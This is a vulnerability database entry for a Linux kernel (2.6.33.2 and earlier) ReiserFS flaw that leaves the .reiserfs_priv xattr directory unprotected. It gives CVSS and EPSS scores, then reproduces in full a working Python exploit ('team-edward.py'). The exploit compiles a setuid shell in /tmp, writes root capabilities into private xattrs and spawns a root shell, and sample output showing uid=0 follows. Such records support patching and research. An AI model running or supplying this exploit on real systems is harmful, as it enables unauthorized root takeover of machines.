CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The Linux kernel 2.6.33.2 and earlier, when a ReiserFS filesystem exists, does not restrict read or write access to the .reiserfs_priv directory, which allows local users to gain privileges by modifying (1) extended attributes or (2) ACLs, as demonstrated by deleting a file under .reiserfs_priv/xattrs/.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.9
AV:L/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.92%
–
–
2022-02-13
–
–
1.92%
–
–
2022-04-03
–
–
1.92%
–
–
2022-06-26
–
–
1.92%
–
–
2022-11-13
–
–
1.92%
–
–
2022-11-20
–
–
1.92%
–
–
2022-12-11
–
–
1.92%
–
–
2022-12-18
–
–
1.92%
–
–
2022-12-25
–
–
1.92%
–
–
2023-01-01
–
–
1.92%
–
–
2023-02-05
–
–
2.05%
–
–
2023-02-19
–
–
1.92%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.08%
–
2025-03-02
–
–
–
0.08%
–
2025-01-19
–
–
–
0.08%
–
2025-03-09
–
–
–
0.08%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21%
2025-04-15
–
–
–
–
0.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2010-04-08 22h00 +00:00 Author : Jon Oberheide EDB Verified : Yes
#!/usr/bin/env python
'''
team-edward.py
Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
Jon Oberheide <jon@oberheide.org>
http://jon.oberheide.org
Information:
https://bugzilla.redhat.com/show_bug.cgi?id=568041
The kernel allows processes to access the internal ".reiserfs_priv"
directory at the top of a reiserfs filesystem which is used to store
xattrs. Permissions are not enforced in that tree, so unprivileged
users can view and potentially modify the xattrs on arbitrary files.
Usage:
$ python team-edward.py
[+] checking for reiserfs mount with user_xattr mount option
[+] checking for private xattrs directory at /.reiserfs_priv/xattrs
[+] preparing shell in /tmp
[+] capturing pre-shell snapshot of private xattrs directory
[+] compiling shell in /tmp
[+] setting dummy xattr to get reiserfs object id
[+] capturing post-shell snapshot of private xattrs directory
[+] found 1 new object ids
[+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
[+] spawning setuid shell...
# id
uid=0(root) gid=0(root) groups=4(adm), ...
Notes:
Obviously requires a ReiserFS filesystem mounted with extended attributes.
Tested on Ubuntu Jaunty 9.10.
'''
import os, sys
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
def err(txt):
print '[-] error: %s' % txt
sys.exit(1)
def msg(txt):
print '[+] %s' % txt
def main():
msg('checking for reiserfs mount with user_xattr mount option')
f = open('/etc/fstab')
for line in f:
if 'reiserfs' in line and 'user_xattr' in line:
break
else:
err('failed to find a reiserfs mount with user_xattr')
f.close()
msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
if not os.path.exists('/.reiserfs_priv/xattrs'):
err('failed to locate private xattrs directory')
msg('preparing shell in /tmp')
f = open('/tmp/team-edward.c', 'w')
f.write(SHELL)
f.close()
msg('capturing pre-shell snapshot of private xattrs directory')
pre = set(os.listdir('/.reiserfs_priv/xattrs'))
msg('compiling shell in /tmp')
ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
if ret != 0:
err('error compiling shell, you need gcc')
msg('setting dummy xattr to get reiserfs object id')
os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
if ret != 0:
err('error setting xattr, you need setfattr')
msg('capturing post-shell snapshot of private xattrs directory')
post = set(os.listdir('/.reiserfs_priv/xattrs'))
objs = post.difference(pre)
msg('found %s new object ids' % len(objs))
for obj in objs:
msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
f.write(XATTR)
f.close()
msg('spawning setuid shell...')
os.system('/tmp/team-edward')
if __name__ == '__main__':
main()
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Linux>>Linux_kernel >> Version To (including) 2.6.33.2